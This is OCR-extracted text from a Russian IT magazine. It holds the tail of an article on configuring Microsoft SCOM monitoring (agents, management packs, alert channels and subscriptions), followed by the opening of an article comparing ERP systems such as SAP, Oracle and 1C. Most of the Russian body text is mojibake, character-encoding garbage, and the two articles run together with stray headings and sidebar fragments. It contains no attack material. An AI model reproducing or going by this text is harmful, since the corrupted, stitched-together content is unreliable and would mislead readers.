Перед установкой следует проверить наличие компонен-
тов при помощи Prerecvisite Viewer Выбор типа компьютера для установки агента
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ÃÑÆÍà ÏÓÒÜÌËÉ ÐÁËÆÓÏÃ ÄÌÏÂÁÌÝÎÏ (Administration Æ 
Settings Æ Heartbeat, ÍÁËÒÉÍÔÍ ÅÏ ÏÅÎÏÄÏ ÅÎà) ÉÌÉ 
ÉÎÅÉÃÉÅÔÁÌÝÎÏ, ÉÈÍÆÎÉÓÝ ËÏÌÉØÆÒÓÃÏ ÐÑÏÐÔÒËÏÃ ÉÌÉ 
ÃÏÃÒÆ ÏÓËÌßØÉÓÝ ÓÁËÏÊ ÍÏÎÉÓÏÑÉÎÄ (ÎÁÐÑÉÍÆÑ, ÅÌà 
ËÏÍÐÝßÓÆÑÏÃ, ÐÏÅËÌßØÁßÚÉÖÒà ÐÆÑÉÏÅÉØÆÒËÉ). 
¦ÚÆ ÏÅÎÏÊ ÉÎÓÆÑÆÒÎÏÊ ÕÔÎË×ÉÆÊ SCOM àÃÌàÆÓÒà ×ÆÎ-
ÓÑÁÌÉÈÏÃÁÎÎÁà ÏÓÒÜÌËÁ Ã MS ÒÏÏÂÚÆÎÉÊ CEIP É ÏÙÉ-
ÂÏË Ò ËÌÉÆÎÓÒËÉÖ ËÏÍÐÝßÓÆÑÏÃ. £ÒÆ ÞÓÏ ÎÁÒÓÑÁÉÃÁÆÓÒà 
ÐÑÉ ÐÏÍÏÚÉ ÍÁÒÓÆÑÁ Client Monitoring Configuration, 
ÈÁÐÔÒËÁÆÍÏÄÏ ÉÈ ËÏÎÓÆËÒÓÎÏÄÏ ÍÆÎß Management 
Server.

Создание оповещений
¡ÄÆÎÓ ÒÏÂÉÑÁÆÓ ÅÁÎÎÜÆ, ÎÏ Ã ÒÌÔØÁÆ ÃÏÈÎÉËÎÏÃÆÎÉà 
ÐÑÏÂÌÆÍ, ÁÅÍÉÎÉÒÓÑÁÓÏÑ Ï ÎÉÖ ÔÈÎÁÆÓ ÌÉÙÝ ÐÑÉ ÁÎÁÌÉ-
ÈÆ ÅÁÎÎÜÖ Ã ËÏÎÒÏÌÉ, Á ÑÆÙÆÎÉÆ ÎÆÑÆÅËÏ ÎÆÏÂÖÏÅÉÍÏ 
ÐÑÉÎÉÍÁÓÝ ÍÏÍÆÎÓÁÌÝÎÏ. °ÏÞÓÏÍÔ ÒÌÆÅÔßÚÉÊ ÙÁÄ — 
ÎÁÒÓÑÏÊËÁ ÐÑÆÅÔÐÑÆÇÅÆÎÉÊ. ²ÏÒÓÏÉÓ ÏÎ ÉÈ ÎÆÒËÏÌÝËÉÖ 
ÎÆÒÌÏÇÎÜÖ ÞÓÁÐÏÃ. 
³ÁË, ÐÏÒÌÆ ÔÒÓÁÎÏÃËÉ SCOM ÎÆ ÈÎÁÆÓ, ØÓÏ ÆÍÔ ÒÏÂÉÑÁÓÝ, 
ÎÆ ÑÁÈÌÉØÁÆÓ ÐÑÉÌÏÇÆÎÉà É ÒÆÑÃÉÒÜ. «ÁË ÔÇÆ ÄÏÃÏÑÉ-
ÌÏÒÝ ÃÜÙÆ, ÐÏÍÏØÝ ÆÍÔ Ã ÞÓÏÍ ÍÏÄÔÓ ÐÁËÆÓÜ ÔÐÑÁÃÌÆ-
ÎÉà. £ ÐÏÒÓÁÃËÆ ÅÏÒÓÔÐÎÏ ÐÏØÓÉ 50 ÐÁËÆÓÏÃ ÔÐÑÁÃÌÆÎÉà, 
ÐÑÏÒÍÏÓÑÆÓÝ ÉÖ ÒÐÉÒÏË ÍÏÇÎÏ Ã Administration Æ 
Management Pack. £ÜÂÏÑ ÒÃÏÊÒÓÃ ÌßÂÏÄÏ ÐÏËÁÇÆÓ 
ÐÏÅÑÏÂÎÔß ÉÎÕÏÑÍÁ×Éß. ¦ÒÌÉ ÉÍÆßÚÉÖÒà MP ÎÆ-
ÅÏÒÓÁÓÏØÎÏ ÅÌà ËÏÎÓÑÏÌà ÔÒÓÁÎÏÃÌÆÎÎÜÖ ÒÆÑÃÉÒÏÃ É 
ÐÑÉÌÏÇÆÎÉÊ, ÓÏ ÒÌÆÅÔÆÓ ÐÏÉÒËÁÓÝ Ã ÔËÁÈÁÎÎÜÖ ÃÜÙÆ 
ÑÆÐÏÈÉÓÏÑÉàÖ, Á ÈÁÓÆÍ — ÉÍÐÏÑÓÉÑÏÃÁÓÝ ÐÁËÆÓÜ ÐÑÉ 
ÐÏÍÏÚÉ ÐÔÎËÓÏÃ Download Management Pack É Import 
Management Pack. °ÏÒÌÆ ÉÍÐÏÑÓÁ SCOM ÒÑÁÃÎÉÃÁÆÓ 
ÅÁÎÎÜÆ ÁÄÆÎÓÏÃ É ÉÎÕÏÑÍÁ×Éß Ã ÐÁËÆÓÁÖ, ÏÂÎÁÑÔÇÉÃÁà 
ÒÐÆ×ÉÕÉØÆÒËÉÆ ÐÑÉÌÏÇÆÎÉà, É ÃÜÃÏÅÉÓ ÃÒÆ ÅÏÒÓÔÐÎÜÆ 
ÁÓÑÉÂÔÓÜ ÏÂÛÆËÓÏÃ.
²ÌÆÅÔßÚÉÊ ÙÁÄ — ÒÏÈÅÁÎÉÆ ËÁÎÁÌÁ, ÓÏ ÆÒÓÝ ÍÆ-

ÓÏÅÁ ÏÐÏÃÆÚÆÎÉà ÁÅÍÉÎÉÒÓÑÁÓÏÑÁ. °ÆÑÆÖÏÅÉÍ Ã 
Notifications Æ Channel, Ã ËÏÎÓÆËÒÓÎÏÍ ÍÆÎß ÃÜÂÉÑÁÆÍ 
New É ÏÅÉÎ ÉÈ ÃÁÑÉÁÎÓÏÃ: email, IM, SMS É ËÏÍÁÎÅÁ. 
°ÏÒÌÆ ÞÓÏÄÏ ÈÁÐÔÒËÁÆÓÒà ÍÁÒÓÆÑ, ËÏÓÏÑÜÊ ÐÏÍÏÇÆÓ ÎÁ-
ÒÓÑÏÉÓÝ ÃÜÂÑÁÎÎÜÊ ËÁÎÁÌ. ®ÁÐÑÉÍÆÑ, Ã ÒÌÔØÁÆ Ò email 
ÈÁÅÁÆÍ ÅÁÎÎÜÆ SMTP-ÒÆÑÃÆÑÁ É ÙÁÂÌÏÎ ÒÏÏÂÚÆÎÉà. 
¸ÓÏÂÜ ÔËÁÈÁÓÝ ÁÅÑÆÒÁ ÐÏÌÔØÁÓÆÌÆÊ ÐÑÆÅÔÐÑÆÇÅÆÎÉà, 
ÃÜÂÉÑÁÆÍ ÐÔÎËÓ New Subscriber, ÔËÁÈÜÃÁÆÍ ÉÍà ÐÏÅ-
ÐÉÒØÉËÁ, ÃÑÆÍà ÏÓÒÜÌËÉ ÒÏÏÂÚÆÎÉÊ (ÐÏ ÔÍÏÌØÁÎÉß 
ÃÒÆÄÅÁ) É ÒÏÂÒÓÃÆÎÎÏ ÁÅÑÆÒÁ ÞÌÆËÓÑÏÎÎÏÊ ÐÏØÓÜ. 
© ÎÁËÏÎÆ×, ÒÏÈÅÁÎÉÆ ÐÏÅÐÉÒËÉ — Subscriptions. °ÆÑÆ-
ÖÏÅÉÍ Ã ÒÏÏÓÃÆÓÒÓÃÔßÚÉÊ ÐÔÎËÓ ÍÆÎß, ÃÜÂÉÑÁÆÍ New 
É ÒÌÆÅÔÆÍ ÔËÁÈÁÎÉàÍ ÍÁÒÓÆÑÁ. £ÁÇÎÜÊ ÙÁÄ — ÒÏÈ-
ÅÁÎÉÆ ËÑÉÓÆÑÉÆÃ, ÓÏ ÆÒÓÝ ÓÉÐÏÃ ÒÏÏÂÚÆÎÉÊ, ËÏÓÏÑÜÆ 
ÂÔÅÔÓ ÐÆÑÆÎÁÐÑÁÃÌàÓÝÒà ÐÏÅÐÉÒØÉËÔ. °Ï ÔÍÏÌØÁÎÉß 
ÏÓÐÑÁÃÌàßÓÒà ÃÒÆ ÒÏÏÂÚÆÎÉà, ØÓÏ ÎÆ ÃÒÆÄÅÁ ÔÅÏÂÎÏ. 
£ ÂÏÌÝÙÏÊ ÒÑÆÅÆ Ò ÎÆÒËÏÌÝËÉÍÉ ÁÅÍÉÎÁÍÉ ÃÆÑÏàÓÎÆÆ 
ÐÑÉÅÆÓÒà ÑÁÒÐÑÆÅÆÌÉÓÝ ÉÖ ÂÏÌÆÆ ÓÏØÎÏ, ÉÒÐÏÌÝÈÔà 
ÕÉÌÝÓÑÜ. ¥ÁÌÆÆ ÔËÁÈÜÃÁÆÍ ÐÏÅÐÉÒØÉËÏÃ ÅÌà ÒÏÂÜÓÉà, 
ÃÜÂÉÑÁÆÍ ËÁÎÁÌ. °ÑÉ ÎÆÏÂÖÏÅÉÍÏÒÓÉ — ÏÐÑÆÅÆÌàÆÍ 
ÈÁÅÆÑÇËÔ Ã ÏÓÐÑÁÃËÆ ÒÏÏÂÚÆÎÉà, ØÓÏÂÜ ÎÆ ÂÆÇÁÓÝ 
ÒÑÁÈÔ, ÃÆÅÝ ØÁÒÓÏ ÂÜÃÁÆÓ ÓÁË, ØÓÏ ÐÑÏÂÌÆÍÜ ÑÆÙÁßÓÒà 
ÒÁÍÉ ÒÏÂÏÊ :). 
³ÆÐÆÑÝ Ã ÒÌÔØÁÆ ÒÂÏà ÁÅÍÉÎ ÐÏÌÔØÁÆÓ ÒÏÏÂÚÆÎÉÆ Ò 
ÏÐÉÒÁÎÉÆÍ ÒÉÓÔÁ×ÉÉ, Á ÅÌà ÐÏÌÔØÆÎÉà ÂÏÌÆÆ ÐÏÅÑÏÂ-
ÎÏÊ ÉÎÕÏÑÍÁ×ÉÉ ÍÏÇÎÏ ÓÔÓ ÇÆ ÐÆÑÆÊÓÉ ÐÏ ÒÒÜÌËÆ ÎÁ 
ÃÆÂ-ËÏÎÒÏÌÝ.

Заключение
£ ÒÓÁÓÝÆ ÈÁÓÑÏÎÔÓÜ ÌÉÙÝ ÏÒÎÏÃÎÜÆ ÃÏÈÍÏÇÎÏÒÓÉ ÓÁËÏÄÏ 
ÃÆÒÝÍÁ ÐÏÌÆÈÎÏÄÏ ÉÎÒÓÑÔÍÆÎÓÁ ËÁË SCOM, ËÏÓÏÑÜÊ 
ÐÏÒÌÆ ÎÁÒÓÑÏÊËÉ ÂÔÅÆÓ ÍÏÎÉÓÏÑÉÓÝ ÉÎÕÑÁÒÓÑÔËÓÔÑÔ, 
ÐÑÆÅÔÐÑÆÇÅÁà ÁÅÍÉÎÁ Ï ÐÑÏÂÌÆÍÁÖ. °ÑÉ ÅÁÌÝÎÆÊÙÆÍ 
ÈÎÁËÏÍÒÓÃÆ ÓÆÂÆ ÐÏÍÏÄÔÓ ÅÏËÔÍÆÎÓÁ×Éà ÐÑÏÆËÓÁ É, ËÏ-
ÎÆØÎÏ, ÒÏÂÒÓÃÆÎÎÜÆ ÞËÒÐÆÑÉÍÆÎÓÁÌÝÎÜÆ ÅÁÎÎÜÆ.  z

• ²ÓÑÁÎÉ×Á SCOM 
— microsoft.com/
opsmgr.

• ¥ÏËÔÍÆÎÓÁ×Éà ÐÏ 
SCOM — technet.mi-
crosoft.com/opsmgr.

• µÏÑÔÍ Microsoft, 
ÐÏÒÃàÚÆÎÎÜÊ SCOM 
— clck.ru/Du0j.

• °ÏÑÓÁÌ System 
Center Central — 
systemcentercentral.
com.

links

HTTP://WWW

• SCOM 2007 R2 ÎÆ 
ÐÏÅÅÆÑÇÉÃÁÆÓ SQL 
2008 R2, ÓÏÌÝËÏ SQL 
2005 SP2 É SQL 2008 
SP1.

• ®Æ ÈÁÂÔÅÝ ÏÓËÑÜÓÝ 
Ã ÕÁÊÆÑÆ ÐÏÑÓÜ Ë 
SQL-ÒÆÑÃÆÑÔ — clck.
ru/E17g.

warning

WARNING

• ®Á ËÏÍÐÁÎÉÉ 
ÒÑÆÅÎÆÄÏ ÑÁÈÍÆÑÁ 
ÑÁÒÒØÉÓÁÎ System 
Center Essentials.

• ¶ÏÅàÓ ÒÌÔÖÉ Ï ÃÏÈ-
ÍÏÇÎÏÍ ÐÏàÃÌÆÎÉÉ 
ÒÌÆÅÔßÚÆÊ ÃÆÑÒÉÉ 
OpsMgr, ÓÆÍ ÂÏ-
ÌÆÆ, ØÓÏ ÎÆËÏÓÏÑÜÆ 
ÑÆÙÆÎÉà ÉÈ System 
Center ÔÇÆ ÏÂÎÏ-
ÃÉÌÉÒÝ, ÎÏ ÐÏËÁ ÎÉ 
ÏËÏÎØÁÓÆÌÝÎÏÊ ÅÁÓÜ, 
ÎÉ ÐÑÆÅÑÆÌÉÈÁ ÎÉËÓÏ 
ÎÆ ÃÉÅÆÌ. 

info

INFO

SCOM предоставляет админу диаграммы и графики 
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SYN/ACK
 ¡ÎÅÑÆÊ  °ÏÌÜÄÁÆÃ  (polygaev@gmail.com)

Несмотря на большое количество систем ERP на рынке, выбор подходящей системы ограничен доста-
точно узким кругом решений. И этот совсем не очевидный факт надо учитывать при проведении вы-
бора. О том, как правильно подойти к выбору ERP-системы, о сложившейся расстановке сил на россий-
ском рынке и важных моментах самого выбора мы и будем говорить в нашей статье.

Îáçîð ERP-ñèñòåì: äà, ïðî OpenSource 
ìû òîæå íå çàáûëè

ERP — íà ëþáîé 
âêóñ!

Про цепи ограничений
1. ²ÆÄÍÆÎÓÁ×Éà ÑÜÎËÁ ERP
Êëþ÷îì â ïðàâèëüíîì âûáîðå ïîäõîäÿùåé ERP-ñèñòåìû ÿâëÿåòñÿ 
òî÷íîå ïîçèöèîíèðîâàíèå ñâîåé êîìïàíèè îòíîñèòåëüíî êàðòû 
ðåøåíèé òîãî èëè èíîãî ïðîèçâîäèòåëÿ. 
Ïîÿñíèì ýòó ìûñëü. Êàæäàÿ ERP-ñèñòåìà îáëàäàåò îïðåäåëåííîé 
ôóíêöèîíàëüíîñòüþ, ïîêðûâàåò êàêîå-òî êîëè÷åñòâî ïðåäìåò-
íûõ îáëàñòåé. Íàïðèìåð, ðåøåíèå ðîññèéñêîé êîìïàíèè «1Ñ» 
— «1Ñ: Óïðàâëåíèå ïðîèçâîäñòâåííûì ïðåäïðèÿòèåì» ÿâëÿåòñÿ 
óíèâåðñàëüíîé ñèñòåìîé (â òåðìèíàõ ðàçðàáîò÷èêà «Êîíôèãó-
ðàöèåé»), îáåñïå÷èâàþùåé óïðàâëåíèå îñíîâíûìè ôóíêöèÿìè 
ïðåäïðèÿòèÿ: ó÷åò òîâàðíûõ çàïàñîâ, óïðàâëåíèå ðàñ÷åòàìè ñ 
êîíòðàãåíòàìè, ó÷åò îñíîâíûõ ñðåäñòâ è òîâàðíî-ìàòåðèàëüíûõ 
öåííîñòåé è òàê äàëåå. Òàêèì îáðàçîì, äàííûé ïðîäóêò áîëåå 
âñåãî ïîäõîäèò äëÿ ïðîèçâîäñòâåííûõ êîìïàíèé. À âîò äëÿ àâòî-
ìàòèçàöèè ðîçíè÷íîé òîðãîâëè ïðèäåòñÿ âûáðàòü êîíôèãóðàöèþ 
«1Ñ: Ðîçíèöà». Êîëè÷åñòâî ïîäîáíûõ áàçîâûõ êîíôèãóðàöèé ó 
«1Ñ» — áîëåå 20. Ïîíÿòíîå äåëî, ÷òî âûáðàòü íóæíîå ðåøåíèå 
íåïðîñòî. 
Ïîäîáíûìè òðóäíîñòÿìè ñëîæíîñòü çàäà÷è íå èñ÷åðïûâàåòñÿ. 
Êðîìå íàáîðà ôóíêöèîíàëüíîñòè, êîòîðóþ ïîääåðæèâàåò ERP, ïðî-
èçâîäèòåëè ââîäÿò åùå è îòðàñëåâóþ ñïåöèàëèçàöèþ. Íàïðèìåð, â 
ëèíåéêå ERP-ðåøåíèé SAP åñòü ñïåöèàëèçèðîâàííûå ðåøåíèÿ äëÿ 
ôèíàíñîâîãî ñåêòîðà, ïðîèçâîäñòâåííûõ êîìïàíèé, êîìïàíèé, 
ðàáîòàþùèõ íà ðûíêå óñëóã, òîðãîâûõ êîìïàíèé è îáùåñòâåííûõ 
îðãàíèçàöèé (çäðàâîîõðàíåíèå, îáðàçîâàíèå è ò.ï.).
Íå íóæíî óäèâëÿòüñÿ, ÷òî è ýòî åùå íå âñå. Êðîìå óêàçàííûõ 
âàðèàíòîâ åñòü åùå ðàçäåëåíèå ïðîäóêòîâ ïî ñòîèìîñòè ðåøåíèÿ 
(ñâûøå $1 ìëí, îò $100 òûñ. äî $1 ìëí, äî $100 òûñ.), ðàçìåðàì 
áèçíåñà (êðóïíûé — îáîðîò ñâûøå $500 ìëí â ãîä, ñðåäíèé — 
îáîðîò îò $100 ìëí äî $500 ìëí â ãîä, ìåëêèé — îáîðîò äî $100 
ìëí â ãîä) è êîëè÷åñòâó ïîëüçîâàòåëåé, ïîäêëþ÷åííûõ ê ERP-
ñèñòåìå. Âñå ýòî óäèâèòåëüíî íàïîìèíàåò ÷åõàðäó â òàðèôíûõ 
ïëàíàõ ñîòîâûõ îïåðàòîðîâ. Îñíîâíàÿ ïðè÷èíà òàêîãî ðàçíîî-
áðàçèÿ — æåëàíèå ïðîèçâîäèòåëÿ ERP ïîâûñèòü öåííîñòü ñâîåãî 
ðåøåíèÿ äëÿ ïîòåíöèàëüíîãî çàêàç÷èêà. À ïîñêîëüêó ïîäîáíàÿ 
«êàñòîìèçàöèÿ» íåñîèçìåðèìî äåøåâëå ðàçðàáîòêè íîâîãî ïðî-
äóêòà, òî è èñïîëüçóåòñÿ ïîäîáíàÿ ïðàêòèêà î÷åíü øèðîêî.
Ïîýòîìó, âîçâðàòèâøèñü ê íà÷àëó íàøåé ñòàòüè, óòâåðäèì ñëå-
äóþùèé òåçèñ: òî÷íîå ïîçèöèîíèðîâàíèå ñâîåé êîìïàíèè îòíî-
ñèòåëüíî êàðòû ðåøåíèé òîãî èëè èíîãî ïðîèçâîäèòåëÿ ÿâëÿåòñÿ 
êëþ÷îì ê óñïåõó â âûáîðå è âíåäðåíèè ERP.
Ñåãìåíòàöèÿ, èëè ðàçäåëåíèå ðûíêà ïîòåíöèàëüíûõ êëèåíòîâ 
íà îïðåäåëåííûå ãðóïïû, ÿâëÿåòñÿ îáÿçàòåëüíûì ýëåìåíòîì ïî-

çèöèîíèðîâàíèÿ ERP-ñèñòåìû. Îñíîâíûìè èçìåðåíèÿìè òàêîãî 
ïîçèöèîíèðîâàíèÿ ÿâëÿþòñÿ ôóíêöèîíàëüíîñòü, îòðàñëü, ñòîè-
ìîñòü, ðàçìåð áèçíåñà. Òàêèì îáðàçîì, ñåãìåíòàöèÿ âûãëÿäèò 
êàê ìíîãîìåðíûé êóá, â êîòîðîì óêàçàííûå èçìåðåíèÿ ÿâëÿþòñÿ 
îñÿìè êîîðäèíàò. Îáû÷íî, ïðè âûáîðå ñèñòåìû ïðîâîäÿò âñòðå÷è 
ñ ïðîôåññèîíàëüíûìè êîíñóëüòàíòàìè. Îñíîâíàÿ çàäà÷à êîòîðûõ 
— ïðàâèëüíî ñïîçèöèîíèðîâàòü êîìïàíèþ–êëèåíòà â ìíîãî-
ìåðíîé ìàòðèöå ðåøåíèé ðàçëè÷íûõ ïðîèçâîäèòåëåé è ïðåä-
ëîæèòü íàèáîëåå ïîäõîäÿùèé äëÿ íåå ïðîäóêò. Ê ñîæàëåíèþ, êàê 
ïðàâèëî, êîíñóëüòàíòû çàðàíåå îðèåíòèðîâàíû íà îïðåäåëåííîå 
ðåøåíèå è ñòàðàþòñÿ «íàòÿíóòü» ïîòðåáíîñòè êëèåíòà ïîä âîç-
ìîæíîñòè èìåííî ýòîãî ïðîäóêòà. Ïîýòîìó íàèáîëåå ðàöèîíàëü-
íûé âûõîä â ýòîé ñèòóàöèè — âûáîð íåñêîëüêèõ êîíñóëüòàíòîâ ñ 
ðàçíûìè ðåøåíèÿìè. 
 
2. «ÌßØÆÃÜÆ ÉÄÑÏËÉ ÎÁ ÑÜÎËÆ ERP
Äàâàéòå ðàññìîòðèì êëþ÷åâûõ èãðîêîâ íà ðîññèéñêîì ðûíêå 
ERP-ñèñòåì è îñòàíîâèìñÿ íà íàèáîëåå âàæíûõ è èíòåðåñíûõ 
ìîìåíòàõ, ïðåäëàãàåìûõ èìè ðåøåíèé.
Ïî ðåçóëüòàòàì 2009 ãîäà (äàííûå çà 2010 ãîä åùå íå îïóáëèêî-
âàíû), êîòîðûå ïðåäñòàâèëà IDS, ðîññèéñêèé ðûíîê ERP-ñèñòåì 
âûãëÿäèò êàê èçîáðàæåíî íà ðèñóíêå 2.
Âïåðåäè ñ áîëüøèì îòðûâîì èäóò ðåøåíèÿ îò SAP, äàëåå ñëåäóåò 
ðîññèéñêèé ïðîäóêò 1C, çàòåì — ðåøåíèÿ îò Oracle, Microsoft è 
íàøà «Ãàëàêòèêà». Îñòàòîê ïîä íàçâàíèåì «äðóãèå» âêëþ÷àåò 
â ñåáÿ äåñÿòîê ñàìûõ ðàçëè÷íûõ ñèñòåì, «âûæèâàþùèõ» èëè 
çàñòîëáèâøèõ ñâîè îãîðîäû â òîé èëè èíîé íèøå. Èíòåðåñíî 
ñîîòíåñòè äàííûå ðåçóëüòàòû, íàïðèìåð, ñ ìèðîâûìè ðåéòèí-
ãàìè ERP-ñèñòåì, ñîãëàñíî êîòîðûì, ìû âèäèì íåìíîãî äðóãóþ 
ñèòóàöèþ.
Êàê ìû óæå ãîâîðèëè âûøå, ìíîãèå ðàçðàáîò÷èêè èìåþò íà 
ðûíêå ðàçëè÷íûå ïðåäëîæåíèÿ äëÿ ñàìûõ ðàçíûõ ñåãìåíòîâ çà-
êàç÷èêîâ. Íàëè÷èå áîëüøîãî ïàêåòà ïîäîáíûõ ðåøåíèé ÿâëÿåòñÿ 
êîñâåííûì ïîäòâåðæäåíèåì óñòîé÷èâîãî ïîëîæåíèÿ ñèñòåìû 
íà ðûíêå. Âñå êðóïíûå èãðîêè èìåþò öåëûé íàáîð ïîäîáíûõ 
ðåøåíèé. Äëÿ îöåíêè çàðóáåæíûõ ðåøåíèé ìîæíî èñïîëüçîâàòü 
êâàäðàò Ãàðòíåðà (ðèñ. 3), êîòîðûé ïîêàçûâàåò ðåéòèíãè ñèñòåì. 
Ïîéäåì ïî ïîðÿäêó, ðàññìîòðåâ ïðåäñòàâëåííûå ñèñòåìû ïî ðÿäó 
ñòàíäàðòíûõ ïðèçíàêîâ — ïîëîæåíèå íà ðûíêå, ïîçèöèîíèðîâà-
íèå, íàáîð äîñòóïíûõ ìîäóëåé è ò.ä.

SAP
°ÏÌÏÇÆÎÉÆ ÎÁ ÑÜÎËÆ
Êîìïàíèÿ SAP, âåäóùèé ïîñòàâùèê áèçíåñ-ïðèëîæåíèé â ìèðå, 
äàâíî (â òå÷åíèå 18 ëåò) è óñïåøíî âñïàõèâàåò ðîññèéñêóþ 
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áîðîçäó ERP-ñèñòåì. Íà äàííûé ìîìåíò êîìïàíèÿ âûäåëÿåò äâà 
êëþ÷åâûõ ïàêåòà äëÿ àâòîìàòèçàöèè áèçíåñà: SAP Business One è 
SAP Business All-in-One.

°ÏÈÉ×ÉÏÎÉÑÏÃÁÎÉÆ 
SAP Business All-in-One — ïîëíûé ïàêåò áèçíåñ-ïðèëîæåíèé äëÿ 
êðóïíûõ êîìïàíèé, ÷èñëåííîñòüþ äî 2500 ñîòðóäíèêîâ. SAP 
Business One — ïàêåò áèçíåñ-ïðèëîæåíèé äëÿ ñðåäíèõ è ìåëêèõ 
êîìïàíèé, ÷èñëåííîñòüþ äî 100 ñîòðóäíèêîâ (ïîíÿòíîå äåëî, 
ðàáîòàþùèõ ñ ñèñòåìîé).
  
®ÁÂÏÑ ÅÏÒÓÔÐÎÜÖ ÍÏÅÔÌÆÊ
Ñîñòàâ ìîäóëåé ERP-ñèñòåì îò SAP ïîêðûâàåò âñå âîçìîæíûå 
ôóíêöèîíàëüíûå îáëàñòè ñîâðåìåííîãî ïðåäïðèÿòèÿ: óïðàâ-
ëåíèå ìàòåðèàëüíûìè ïîòîêàìè, ïëàíèðîâàíèå è èñïîëíåíèå 
ïðîèçâîäñòâà, ïðîäàæà è äèñòðèáóöèÿ, ëîãèñòèêà, óïðàâëåíèå 
æèçíåííûì öèêëîì ïðîäóêòà, óïðàâëåíèå êà÷åñòâîì, ôèíàíñî-
âûé ó÷åò, êîíòðîëëèíã (ó÷åò çàòðàò è ïðèáûëè), äîêóìåíòîîáî-
ðîò è îò÷åòíîñòü. 
Íà ñàéòå êîìïàíèè (www.sap.com) äîñòóïåí ñïåöèàëüíûé êîíôè-
ãóðàòîð, êîòîðûé ïîçâîëÿåò ñôîðìèðîâàòü íåîáõîäèìûé ïàêåò 
ðåøåíèé è ðàññ÷èòàòü åãî îðèåíòèðîâî÷íóþ ñòîèìîñòü (ðèñ. 4).
Íàäî äîáàâèòü, ÷òî â äîïîëíåíèå ê äàííûì äâóì ïðîäóêòàì SAP 
ïðåäëàãàåò äîïîëíèòåëüíûå ðåøåíèÿ äëÿ íåêîòîðûõ êëþ÷åâûõ 
ïðîöåññîâ: SAP SCM — ðåøåíèå ïî óïðàâëåíèþ öåïî÷êîé ïîñòà-
âîê, SAP SRM — ðåøåíèå ïî óïðàâëåíèþ âçàèìîîòíîøåíèÿìè ñ 
ïîñòàâùèêàìè è òàê äàëåå.

«ÌßØÆÃÜÆ ÏÒÏÂÆÎÎÏÒÓÉ
Îòìåòèì êëþ÷åâûå îñîáåííîñòè ïðîäóêòîâ SAP: äåòàëüíàÿ ïðî-
ðàáîòêà ðåøåíèÿ, êàê ïî îòðàñëÿì, òàê è ïî ïðîöåññàì, âûñîêàÿ 
ñòàáèëüíîñòü ðàáîòû è ïðîèçâîäèòåëüíîñòü, âûñîêàÿ ñòîèìîñòü 
êîíñàëòèíãà — òðàäèöèîííî, êîíñóëüòàíòû ïî âíåäðåíèþ SAP 
ÿâëÿþòñÿ ñàìûìè äîðîãèìè íà ðûíêå.
 
Oracle 
°ÏÌÏÇÆÎÉÆ ÎÁ ÑÜÎËÆ
Ñëåäóþùèé ëèäåð â ñðåäå áèçíåñ-ïðèëîæåíèé — êîìïàíèÿ 

Oracle. Êîìïàíèÿ àãðåññèâíî ïîãëîùàåò ëó÷øèå ðåøåíèÿ â 
ðàçëè÷íûõ îáëàñòÿõ è âêëþ÷àåò èõ â ñîñòàâ ñâîèõ ïðèëîæåíèé. 
Ïîýòîìó ñðåäè ðåøåíèé îò Oracle âñåãäà ìîæíî íàéòè òî, êîòîðîå 
óäîâëåòâîðèò ïîòðåáíîñòè. Ïðàâäà, îñòàþòñÿ âîïðîñû óíèôèêà-
öèè è èíòåãðàöèè ïðèëîæåíèé ìåæäó ñîáîé. 

°ÏÈÉ×ÉÏÎÉÑÏÃÁÎÉÆ
Ôëàãìàíñêèì ïðîäóêòîì êàòåãîðèè ERP-ðåøåíèé ÿâëÿåòñÿ ñèñòå-
ìà Oracle E-Business Suite. Ïàêåò Oracle E-Business Suite îðèåíòè-
ðîâàí íà êðóïíûå êîìïàíèè. Ñòîèìîñòü âíåäðåíèÿ çàâèñèò îò 
íàáîðà âíåäðÿåìûõ ìîäóëåé è ñîñòàâëÿåò ñîòíè òûñÿ÷ óñëîâíûõ 
åäèíèö. Â íàñòîÿùåå âðåìÿ äîñòóïíà âåðñèÿ ¹12 äàííîé ñèñòåìû.

®ÁÂÏÑ ÅÏÒÓÔÐÎÜÖ ÍÏÅÔÌÆÊ
Â ñîñòàâ ñèñòåìû âõîäÿò îñíîâíûå ìîäóëè äëÿ óïðàâëåíèÿ 
ïðåäïðèÿòèåì: óïðàâëåíèå ñåðâèñîì, óïðàâëåíèå ôèíàíñàìè, 
óïðàâëåíèå ÷åëîâå÷åñêèì êàïèòàëîì, óïðàâëåíèå ïîðòôåëåì 
ïðîåêòîâ, óïðàâëåíèå æèçíåííûì öèêëîì àêòèâîâ, óïðàâëåíèå 
âçàèìîîòíîøåíèÿìè ñ çàêàç÷èêàìè, ïëàíèðîâàíèå ðåñóðñîâ 
ïðåäïðèÿòèÿ, óïðàâëåíèå çàêóïêàìè, óïðàâëåíèå æèçíåííûì 
öèêëîì ïðîäóêòà, óïðàâëåíèå öåïî÷êîé ïîñòàâîê, óïðàâëåíèå 
ïðîèçâîäñòâîì. Êðîìå òîãî, äëÿ äàííîãî ïàêåòà äîñòóïíû äîïîë-
íèòåëüíûå ìîäóëè: óïðàâëåíèå ïðîèçâîäèòåëüíîñòüþ ïðåäïðè-
ÿòèÿ, óïðàâëåíèå ðèñêîì è óðîâíåì ñîîòâåòñòâèÿ, óïðàâëåíèå 
ìàñòåð-äàííûìè, áèçíåñ-îäîáðåíèÿ äëÿ ìåíåäæåðîâ, ñðåäñòâà è 
òåõíîëîãèè.

°ÏÈÉ×ÉÏÎÉÑÏÃÁÎÉÆ 
Åùå îäíèì ðåøåíèåì êëàññà ERP îò Oracle ÿâëÿåòñÿ ñèñòåìà 
ORACLE’S PEOPLESOFT ENTERPRISE. Ñèñòåìà ïîçèöèîíèðóåòñÿ 
êàê ðåøåíèå äëÿ êðóïíûõ è ñðåäíèõ êîìïàíèé. 

®ÁÂÏÑ ÅÏÒÓÔÐÎÜÖ ÍÏÅÔÌÆÊ
Íàáîð ìîäóëåé ñîäåðæèò òðàäèöèîííûå äëÿ ERP-ñèñòåì êîì-
ïîíåíòû: óïðàâëåíèå æèçíåííûì öèêëîì àêòèâîâ, óïðàâëåíèå 
âçàèìîîòíîøåíèÿìè ñ çàêàç÷èêàìè, óïðàâëåíèå ôèíàíñàìè, 
óïðàâëåíèå ÷åëîâå÷åñêèì êàïèòàëîì, óïðàâëåíèå ïîðòôåëåì 
ïðîåêòîâ, óïðàâëåíèå öåïî÷êîé ïîñòàâîê, óïðàâëåíèå çàêóï-

Диаграмма-радар как пример сравнения ERP-систем
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êàìè. Íî êðîìå òîãî, â äàííîì ðåøåíèè åñòü, íàïðèìåð, òàêîé 
ýêçîòè÷åñêèé ìîäóëü, êàê óïðàâëåíèå êàìïóñîì. Íà ðîññèéñêîì 
